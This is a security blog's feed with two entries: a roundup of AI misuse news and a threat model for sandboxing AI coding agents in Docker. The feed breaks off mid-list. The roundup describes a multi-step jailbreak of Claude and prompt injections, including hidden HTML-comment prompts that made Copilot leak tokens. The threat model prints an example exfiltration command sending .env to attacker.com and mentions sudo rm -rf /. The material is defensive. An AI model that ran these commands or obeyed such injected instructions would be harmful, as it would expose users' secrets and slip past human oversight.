<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>AccidentalRebel.com</title><link href="https://www.accidentalrebel.com/" rel="alternate"/><link href="https://www.accidentalrebel.com/feeds/all.atom.xml" rel="self"/><id>https://www.accidentalrebel.com/</id><updated>2026-02-27T10:00:00+08:00</updated><entry><title>AI, jailbreaks, and 150GB of unanswered questions</title><link href="https://www.accidentalrebel.com/ai-jailbreaks-and-150gb-of-unanswered-questions.html" rel="alternate"/><published>2026-02-27T10:00:00+08:00</published><updated>2026-02-27T10:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-02-27:/ai-jailbreaks-and-150gb-of-unanswered-questions.html</id><summary type="html">&lt;p&gt;A hacker allegedly jailbroke Claude to hack Mexican government agencies, but key details remain unverified. Plus Claude Code and Copilot vulns, and Chinese AI firms stealing Anthropic's model.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="AI, jailbreaks, and 150GB of unanswered questions" src="https://www.accidentalrebel.com/images/ai-jailbreaks-and-150gb-of-unanswered-questions.png" /&gt;
&lt;em&gt;Image made by Gemini&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A hacker allegedly jailbroke Claude to generate exploit code targeting Mexican government agencies, though key details remain unverified. Meanwhile, Claude Code and GitHub Copilot had critical vulnerabilities disclosed, Trail of Bits showed how to extract Gmail data through Perplexity's AI browser, and three Chinese firms ran a 16-million-query campaign to steal Anthropic's model.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;hr /&gt;
&lt;h2 id="editorial"&gt;Editorial&lt;/h2&gt;
&lt;h3 id="a-jailbroken-claude-150gb-of-government-data-and-a-lot-of-unanswered-questions"&gt;A jailbroken Claude, 150GB of government data, and a lot of unanswered questions&lt;/h3&gt;
&lt;p&gt;You may already have heard about the hacker who jailbroke Claude and used it to exfiltrate 150GB of data from Mexican government agencies.&lt;/p&gt;
&lt;p&gt;I tried to confirm the details independently but everything leads back to &lt;a href="https://www.bloomberg.com/news/articles/2026-02-25/hacker-used-anthropic-s-claude-to-steal-sensitive-mexican-data"&gt;Gambit Security&lt;/a&gt;, the Israeli cybersecurity startup that published the research, as the sole source. The agencies allegedly targeted denied the claims. &lt;a href="https://greekcitytimes.com/2026/02/26/claude-ai-mexico-government-hack-150gb-data-breach/"&gt;INE said it found no unauthorized access&lt;/a&gt;, and &lt;a href="https://www.mercurynews.com/2026/02/25/hacker-used-anthropics-claude-to-steal-sensitive-mexican-data/"&gt;Jalisco denied being breached&lt;/a&gt;. &lt;a href="https://www.claimsjournal.com/news/national/2026/02/25/335916.htm"&gt;SAT, Michoacan, and Tamaulipas didn't comment&lt;/a&gt;. &lt;a href="https://www.engadget.com/ai/hacker-used-anthropics-claude-chatbot-to-attack-multiple-government-agencies-in-mexico-171237255.html"&gt;Anthropic did confirm misuse and banned the accounts&lt;/a&gt;, but did not confirm the scale. No stolen data has surfaced on leak forums either.&lt;/p&gt;
&lt;p&gt;Here's what the &lt;a href="https://www.bloomberg.com/news/articles/2026-02-25/hacker-used-anthropic-s-claude-to-steal-sensitive-mexican-data"&gt;Bloomberg reporting&lt;/a&gt; does tell us. The jailbreak worked by feeding Claude a detailed "playbook" in a single prompt, bypassing the guardrails that back-and-forth conversation had triggered, then using persistent persuasion (rephrasing, reframing, escalating) until Claude produced offensive output. Claude generated scanning scripts, SQL injection exploits, and credential stuffing tools. The reporting says Claude both "executed thousands of commands on government computer networks" and produced plans "telling the human operator exactly which internal targets to attack next." Where exactly AI ends and the human begins isn't clear from the available details.&lt;/p&gt;
&lt;p&gt;If I have to guess, more likely, Claude gave the steps and the attacker executed them. The hands-on-keyboard work of breaching systems and moving data was still human.&lt;/p&gt;
&lt;p&gt;Regardless, end-to-end AI attacks are real and documented. Anthropic themselves &lt;a href="https://assets.anthropic.com/m/ec212e6566a0d47/original/Disrupting-the-first-reported-AI-orchestrated-cyber-espionage-campaign.pdf"&gt;published a case in November 2025&lt;/a&gt; involving a Chinese state-sponsored group that used a purpose-built orchestration engine to run Claude autonomously, with &lt;a href="https://x.com/AnthropicAI/status/1989033795341648052"&gt;80-90% of operations executed without human intervention&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Whether the Mexico case reaches that level or not, the practical takeaway is the same. AI dramatically lowers the skill floor for offensive operations. A threat actor who couldn't write a SQL injection exploit last year can now get one generated and explained in minutes. The attack surface isn't the model. It's the gap between what your attackers can now produce and what your defenses were built to handle.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="featured-stories"&gt;Featured stories&lt;/h2&gt;
&lt;h3 id="trail-of-bits-extracts-gmail-data-through-perplexity-comet-via-prompt-injection"&gt;&lt;a href="https://blog.trailofbits.com/2026/02/20/using-threat-modeling-and-prompt-injection-to-audit-comet/"&gt;Trail of Bits extracts Gmail data through Perplexity Comet via prompt injection&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Trail of Bits audited Perplexity's Comet AI browser using their TRAIL threat modeling framework and demonstrated four prompt injection techniques that pulled private Gmail data through the AI assistant. The root issue is that external content isn't treated as untrusted input. Their five recommendations (ML-centered threat modeling, clear system instruction boundaries, least-privilege for AI capabilities) are a practical checklist for any team shipping AI-integrated products. If you're building anything where an AI processes user-facing content, this is worth reading.&lt;/p&gt;
&lt;h3 id="claude-code-vulnerabilities-allow-remote-code-execution-and-api-key-theft"&gt;&lt;a href="https://thehackernews.com/2026/02/claude-code-flaws-allow-remote-code.html"&gt;Claude Code vulnerabilities allow remote code execution and API key theft&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Check Point researchers found three critical flaws in Anthropic's Claude Code. The worst lets an attacker trigger arbitrary code execution just by having a developer open an untrusted repository, through project hooks in &lt;code&gt;.claude/settings.json&lt;/code&gt;. Another leaks API keys by redirecting requests to an attacker-controlled endpoint via &lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt;. Configuration files in AI dev tools now function as an execution layer, a supply chain attack surface that didn't exist before AI coding assistants. All three issues are patched, but the pattern matters more than the specific bugs. If your developers clone repos and run AI coding assistants, review what those assistants trust implicitly.&lt;/p&gt;
&lt;h3 id="ai-assisted-amateur-compromises-600-fortigate-devices-across-55-countries"&gt;&lt;a href="https://thehackernews.com/2026/02/ai-assisted-threat-actor-compromises.html"&gt;AI-assisted amateur compromises 600+ FortiGate devices across 55 countries&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A Russian-speaking threat actor with "low-to-average" technical skills used DeepSeek, Claude, and a custom MCP server called ARXON to compromise 600+ FortiGate devices between January and February 2026. No zero-days needed. Just exposed management ports and weak credentials. The AI generated attack plans from recon data, then the attacker moved to DCSync, pass-the-hash, and Veeam backup targeting. AI is turning credential-spraying amateurs into network-owning operators. If your perimeter still runs on single-factor auth, this is what you're up against.&lt;/p&gt;
&lt;h3 id="roguepilot-flaw-lets-github-copilot-leak-tokens-from-codespaces"&gt;&lt;a href="https://thehackernews.com/2026/02/roguepilot-flaw-in-github-codespaces.html"&gt;RoguePilot flaw lets GitHub Copilot leak tokens from Codespaces&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Orca Security found that hidden prompts in GitHub issue descriptions could manipulate Copilot into exfiltrating &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; when launching Codespaces. Attackers embed malicious instructions in HTML comment tags, invisible to humans but processed by the AI. Microsoft has patched it, but the pattern is identical to the Claude Code flaws: AI assistants with system access trust inputs they shouldn't. Developers using AI-integrated environments need to treat issue descriptions and repo configs as untrusted input, same as any other external data.&lt;/p&gt;
&lt;h3 id="chinese-ai-firms-used-16-million-claude-queries-to-steal-anthropics-model"&gt;&lt;a href="https://thehackernews.com/2026/02/anthropic-says-chinese-ai-firms-used-16.html"&gt;Chinese AI firms used 16 million Claude queries to steal Anthropic's model&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Anthropic revealed that DeepSeek, Moonshot AI, and MiniMax ran massive model distillation campaigns through 24,000 fraudulent accounts. DeepSeek targeted reasoning capabilities across 150,000+ exchanges. Moonshot AI extracted agentic tool use across 3.4 million. MiniMax focused on coding capabilities across 13 million exchanges. The campaigns used "hydra cluster" proxy networks managing 20,000+ accounts simultaneously. Anthropic warns that illicitly distilled models lack safety guardrails. Model theft is now an operational reality, and the stolen models don't come with the safety training.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="in-brief"&gt;In brief&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.schneier.com/blog/archives/2026/02/llms-generate-predictable-passwords.html"&gt;LLMs generate predictable passwords&lt;/a&gt;&lt;/strong&gt;: Research shows language models create passwords with systematic patterns, often starting with "G7" and avoiding character repetition. If your users ask AI to generate passwords, they're getting less random than they think.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.schneier.com/blog/archives/2026/02/poisoning-ai-training-data.html"&gt;Journalist poisons AI training data in 24 hours&lt;/a&gt;&lt;/strong&gt;: A journalist created a fake expertise website, and major AI systems repeated the misinformation within a day. Data poisoning at scale requires neither sophistication nor resources.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.darkreading.com/cyberattacks-data-breaches/chinese-police-chatgpt-smear-japan-pm-takaichi"&gt;Chinese police leak ChatGPT-powered influence operation&lt;/a&gt;&lt;/strong&gt;: A Chinese operator inadvertently exposed a politically motivated AI-assisted disinformation campaign targeting Japan's PM Takaichi through a ChatGPT account. State-directed AI influence ops are operational, not hypothetical.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-global-threat-report-findings/"&gt;CrowdStrike: Attackers now own networks in 29 minutes&lt;/a&gt;&lt;/strong&gt;: The 2026 Global Threat Report finds AI tools, credential misuse, and security blind spots are collapsing attacker breakout times. AI-assisted intrusion is now standard operating procedure.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Previous roundup: &lt;a href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html"&gt;Your AI Assistant Might Be Working for Someone Else&lt;/a&gt;&lt;/p&gt;</content><category term="Cybersecurity x AI"/><category term="ai"/><category term="security"/><category term="cybersecurity-x-ai"/><category term="ai-attack-surface"/><category term="ai-agent-risk"/><category term="ai-threat-intel"/></entry><entry><title>The threat model that made me sandbox my AI agents</title><link href="https://www.accidentalrebel.com/the-threat-model-that-made-me-sandbox-my-ai-agents.html" rel="alternate"/><published>2026-02-24T20:00:00+08:00</published><updated>2026-02-24T20:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-02-24:/the-threat-model-that-made-me-sandbox-my-ai-agents.html</id><summary type="html">&lt;p&gt;AI coding agents have shell access to your machine. I mapped out the threats before letting one touch my code, then built Claudecker to contain them.&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt; AI coding agents have shell access to your machine. They can run commands, modify files, and reach the network. I mapped 8 threats that come with that access and built a container sandbox to contain them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="what-youre-actually-running"&gt;What you're actually running&lt;/h2&gt;
&lt;p&gt;When you launch Claude Code or Codex CLI, you're giving an LLM a terminal. Both tools have built-in safety controls. Claude Code prompts before executing shell commands, scopes its file editing tools to the working directory, and offers an optional OS-level sandbox. Codex goes further with sandboxing enabled by default and network access disabled out of the box.&lt;/p&gt;
&lt;p&gt;These are real protections. But they depend on user discipline. Pre-approve &lt;code&gt;Bash(*)&lt;/code&gt; in your settings (common), click "allow" without reading the command (I do this constantly, because who has time to review every shell command?), or run in &lt;code&gt;bypassPermissions&lt;/code&gt; mode for convenience, and you're back to an LLM with unrestricted shell access. I wanted isolation that doesn't break when someone (read: me) gets careless or clicks through a prompt on autopilot.&lt;/p&gt;
&lt;p&gt;The problem isn't that these tools are malicious. The problem is that they're unpredictable. An LLM might run a command you didn't expect. A compromised MCP server could inject instructions. A poisoned dependency could execute code during install. The attack surface is wide and mostly unmonitored.&lt;/p&gt;
&lt;h2 id="the-threat-model"&gt;The threat model&lt;/h2&gt;
&lt;p&gt;With these threats in mind, I built &lt;a href="https://www.accidentalrebel.com/running-ai-agents-in-a-box.html"&gt;Claudecker&lt;/a&gt;, a shell script that wraps Docker to run Claude Code and Codex CLI in an isolated container. Point it at a project directory, and the AI agent runs inside the container with only that directory mounted. Everything else on your host is invisible to it.&lt;/p&gt;
&lt;p&gt;It worked and I kept using it. But as I kept covering &lt;a href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html"&gt;AI security incidents in my news roundups&lt;/a&gt;, I realized I should sit down and map out what Claudecker is actually protecting against. Not theoretical nation-state attacks, but realistic scenarios for a developer running AI agents daily. And I run them a lot. I try every new CLI tool, every new model, every new MCP server that shows up on my feed. I'm exactly the kind of user who needs guardrails.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Threat model diagram" src="https://www.accidentalrebel.com/images/the-threat-model-that-made-me-sandbox-my-ai-agents.png" /&gt;&lt;/p&gt;
&lt;p&gt;Above is the threat model I came up with. The goal isn't to be exhaustive. It's to name the specific things that could go wrong when an AI agent has shell access to a developer's machine, and what Claudecker actually mitigates (more details in the next section).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Threat&lt;/th&gt;
&lt;th&gt;What goes wrong&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1&lt;/td&gt;
&lt;td&gt;Host filesystem access&lt;/td&gt;
&lt;td&gt;Agent reads files outside the project directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T2&lt;/td&gt;
&lt;td&gt;Data exfiltration&lt;/td&gt;
&lt;td&gt;Agent sends code or secrets to external endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T3&lt;/td&gt;
&lt;td&gt;Supply chain injection&lt;/td&gt;
&lt;td&gt;Compromised package executes on the host&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T4&lt;/td&gt;
&lt;td&gt;Credential theft&lt;/td&gt;
&lt;td&gt;Agent reads SSH keys, API tokens, cloud credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T5&lt;/td&gt;
&lt;td&gt;Lateral movement&lt;/td&gt;
&lt;td&gt;Agent reaches internal network services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T6&lt;/td&gt;
&lt;td&gt;Settings persistence&lt;/td&gt;
&lt;td&gt;Compromised session alters agent config permanently&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T7&lt;/td&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;td&gt;Agent gains root or elevated capabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T8&lt;/td&gt;
&lt;td&gt;Cross-project contamination&lt;/td&gt;
&lt;td&gt;Secrets from one project leak into another session&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="t1-host-filesystem-access"&gt;T1: Host filesystem access&lt;/h3&gt;
&lt;p&gt;The AI operates on your project directory. But nothing stops it from reading files anywhere else on your machine. Other projects, personal documents, company files, system configs. Anything your user account can access, the agent can access.&lt;/p&gt;
&lt;p&gt;This isn't hypothetical. I've seen agents wander outside the project directory during normal operation, reading system files trying to be helpful. Usually harmless. But if an agent is compromised or hallucinating, that wandering becomes dangerous. You don't want an agent casually reading through your other project directories or your company's internal documentation just because it's curious.&lt;/p&gt;
&lt;h3 id="t2-data-exfiltration"&gt;T2: Data exfiltration&lt;/h3&gt;
&lt;p&gt;An agent with network access can send your code anywhere. It could be something obvious like &lt;code&gt;curl attacker.com -d "$(cat .env)"&lt;/code&gt;, or something subtle buried in a script it generates. You probably wouldn't notice either way.&lt;/p&gt;
&lt;p&gt;This is the threat that concerns me most. Source code, API keys, environment variables, git history. All of it is readable by the agent and transmittable over the network. If it's client code, that's a breach notification. If it's your own product, that's competitive intelligence in the open.&lt;/p&gt;
&lt;p&gt;We've already seen this pattern in the news where &lt;a href="https://www.accidentalrebel.com/developer-tools-are-the-new-attack-surface.html"&gt;malicious VS Code AI extensions stole source code from 1.5 million installs&lt;/a&gt;. An AI coding agent with network access is the same exfiltration vector, just with more reasoning capability.&lt;/p&gt;
&lt;h3 id="t3-supply-chain-injection"&gt;T3: Supply chain injection&lt;/h3&gt;
&lt;p&gt;When an agent runs &lt;code&gt;npm install&lt;/code&gt; or &lt;code&gt;pip install&lt;/code&gt;, it pulls packages from public registries. If one of those packages is compromised, the malicious code executes with the agent's permissions on your host. This isn't unique to AI agents, but agents make it worse because they install packages autonomously without you reviewing each one.&lt;/p&gt;
&lt;p&gt;This already happened. A &lt;a href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html"&gt;supply chain attack on Cline CLI&lt;/a&gt; compromised the npm publish token. The poisoned package was downloaded roughly 4,000 times in an 8-hour window before it was pulled, installing an autonomous AI agent on each machine. The attacker used prompt injection against Cline's own AI issue triage to steal the token.&lt;/p&gt;
&lt;h3 id="t4-credential-theft"&gt;T4: Credential theft&lt;/h3&gt;
&lt;p&gt;SSH keys, API tokens, cloud credentials, browser cookies. Your home directory is full of secrets. An agent running on your host can read all of them. Stolen cloud credentials are how $50K AWS bills happen overnight. Even if the agent itself is trustworthy, a compromised skill or MCP server it loads might not be. Infostealers are already &lt;a href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html"&gt;picking up AI agent configuration files and gateway tokens&lt;/a&gt; through broad file-grabbing routines, and dedicated targeting is likely next.&lt;/p&gt;
&lt;p&gt;Claude Code's own &lt;a href="https://docs.anthropic.com/en/docs/claude-code/security#sandboxing"&gt;sandboxing documentation&lt;/a&gt; acknowledges this: "Without network isolation, a compromised agent could exfiltrate sensitive files like SSH keys."&lt;/p&gt;
&lt;h3 id="t5-lateral-movement"&gt;T5: Lateral movement&lt;/h3&gt;
&lt;p&gt;An agent with network access can reach anything on your local network. Other machines, internal services, databases. If you're on a corporate network, an agent is one &lt;code&gt;curl&lt;/code&gt; away from touching infrastructure it has no business accessing. CrowdStrike documented how &lt;a href="https://www.accidentalrebel.com/ai-agents-under-attack.html"&gt;agentic tool chain attacks&lt;/a&gt; exploit this implicit trust to achieve code execution and data exfiltration through legitimate agent workflows.&lt;/p&gt;
&lt;h3 id="t6-settings-persistence"&gt;T6: Settings persistence&lt;/h3&gt;
&lt;p&gt;A compromised session could modify the agent's own configuration to persist across restarts. Injecting a malicious MCP server, changing allowed tool permissions, or altering default behaviors. The next time you start a session, the compromise is already there. Check Point showed that &lt;a href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html"&gt;AI assistants can be quietly repurposed as C2 channels&lt;/a&gt; using this kind of persistence. The AI does exactly what it's designed to do. It's just doing it for someone else.&lt;/p&gt;
&lt;h3 id="t7-privilege-escalation"&gt;T7: Privilege escalation&lt;/h3&gt;
&lt;p&gt;If the agent can run &lt;code&gt;sudo&lt;/code&gt;, the non-root user boundary means nothing. And it's easier to end up there than you'd think. Claude Code scopes permissions to specific command patterns, so approving &lt;code&gt;sudo apt install curl&lt;/code&gt; doesn't automatically approve &lt;code&gt;sudo rm -rf /&lt;/code&gt;. But approve a command once and select "Don't ask again," and it's written to &lt;code&gt;settings.local.json&lt;/code&gt; as a permanent allow rule for that project. Every future &lt;code&gt;sudo&lt;/code&gt; matching that pattern goes through without a prompt. One careless click with a broad pattern and you've handed the agent root.&lt;/p&gt;
&lt;h3 id="t8-cross-project-contamination"&gt;T8: Cross-project contamination&lt;/h3&gt;
&lt;p&gt;If you're working on multiple projects, credentials from one project session shouldn't be accessible in another. But without isolation, they share the same home directory, the same SSH keys, the same environment variables. If you're doing client work, this is a confidentiality problem. An agent working on your personal project can read the &lt;code&gt;.env&lt;/code&gt; from a client project sitting in the next directory over.&lt;/p&gt;
&lt;h2 id="what-claudecker-protects-against"&gt;What Claudecker protects against&lt;/h2&gt;
&lt;p&gt;Here's how each control currently implemented in Claudecker maps to the threats above (✅ = mitigated by this control):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;T1&lt;/th&gt;
&lt;th&gt;T2&lt;/th&gt;
&lt;th&gt;T3&lt;/th&gt;
&lt;th&gt;T4&lt;/th&gt;
&lt;th&gt;T5&lt;/th&gt;
&lt;th&gt;T6&lt;/th&gt;
&lt;th&gt;T7&lt;/th&gt;
&lt;th&gt;T8&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Docker container isolation&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ephemeral containers (&lt;code&gt;--rm&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Non-root user + scoped sudo&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iptables allowlist firewall&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network lockdown (domain allowlist)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH agent forwarding (no key files)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume isolation per profile&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runtime settings rebuild&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skills hash caching&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Some of these are strong mitigations. Others are just friction. I want to be honest about which is which.&lt;/p&gt;
&lt;p&gt;Container isolation, ephemeral sessions, and SSH agent forwarding are the strong ones. The agent genuinely cannot access what isn't mounted, keys that aren't stored, or configs that get rebuilt every launch. The network firewall is effective but has gaps I haven't closed yet (IPv6, CDN IP rotation). Profile isolation works if you remember to set it. Details on each below.&lt;/p&gt;
&lt;h3 id="container-isolation-mitigates-t1-t3-t4"&gt;Container isolation (mitigates T1, T3, T4)&lt;/h3&gt;
&lt;p&gt;The most basic control. Claude Code runs inside a Docker container. The only host directory mounted is the project itself. The agent can't read &lt;code&gt;~/.ssh/&lt;/code&gt; or &lt;code&gt;~/.aws/&lt;/code&gt; because those paths don't exist inside the container.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;/path/to/project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The container runs as the unprivileged &lt;code&gt;node&lt;/code&gt; user, not root. Sudo is locked down to five specific commands, all related to firewall management and SSH socket setup.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strength: strong.&lt;/strong&gt; The agent literally cannot access host files outside the mounted project directory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gap:&lt;/strong&gt; The project directory itself is fully accessible. If you have &lt;code&gt;.env&lt;/code&gt; files or secrets in your project tree, the agent can read them.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="network-firewall-mitigates-t2-t3-t5"&gt;Network firewall (mitigates T2, T3, T5)&lt;/h3&gt;
&lt;p&gt;By default, Claudecker containers have full outbound access. The container isn't reachable from the internet (no published ports), but the agent can reach anything on the internet.&lt;/p&gt;
&lt;p&gt;For sensitive work, there's a lockdown mode that activates an iptables-based firewall restricting outbound traffic to IPs resolved from a list of allowed domains:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;lockdown
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The allowlist includes only what's needed: Anthropic's API, GitHub, npm registry, PyPI, and Ubuntu package repos. Everything else is dropped. The agent can't POST your source code to an arbitrary endpoint because it can't reach arbitrary endpoints. Claude Code still works because it can reach its API. Package installs still work. But exfiltration to an attacker-controlled domain gets blocked.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strength: medium to strong.&lt;/strong&gt; The allowlist approach prevents exfiltration to arbitrary domains while keeping the agent functional.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gap:&lt;/strong&gt; The allowlist is resolved via DNS at container startup. CDN IP rotation means a domain might resolve to a new IP mid-session that gets blocked. Also, IPv6 isn't firewalled, so if the container has IPv6 connectivity, that's an open channel. I need to fix that.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ephemeral-containers-mitigates-t3-t6"&gt;Ephemeral containers (mitigates T3, T6)&lt;/h3&gt;
&lt;p&gt;Every session starts fresh. The container is created with &lt;code&gt;--rm&lt;/code&gt;, so it's destroyed on exit. Skills get reinstalled, settings get rebuilt from defaults. If a session gets compromised, the compromise dies with the container.&lt;/p&gt;
&lt;p&gt;Settings are rebuilt at runtime by layering defaults with user overrides. The runtime file lives at &lt;code&gt;/tmp/&lt;/code&gt; and is never written back to persistent storage. A compromised session can't permanently alter the configuration.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strength: strong for persistence prevention.&lt;/strong&gt; A malicious modification to settings or installed packages doesn't survive a restart.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gap:&lt;/strong&gt; The config volume (auth tokens, MCP configs) does persist. If an attacker modifies something in that volume, it carries over.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ssh-agent-forwarding-not-key-storage-mitigates-t4"&gt;SSH agent forwarding, not key storage (mitigates T4)&lt;/h3&gt;
&lt;p&gt;SSH private keys never touch the container filesystem. Instead, the host's SSH agent socket is forwarded into the container, so the agent can authenticate without the key material being present.&lt;/p&gt;
&lt;p&gt;The agent can use the keys to authenticate (git push, git pull), but it can't read the key material. Even if the agent reads every file in the container, the private key bytes aren't there.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strength: strong against key theft.&lt;/strong&gt; The key material is genuinely inaccessible.&lt;/li&gt;
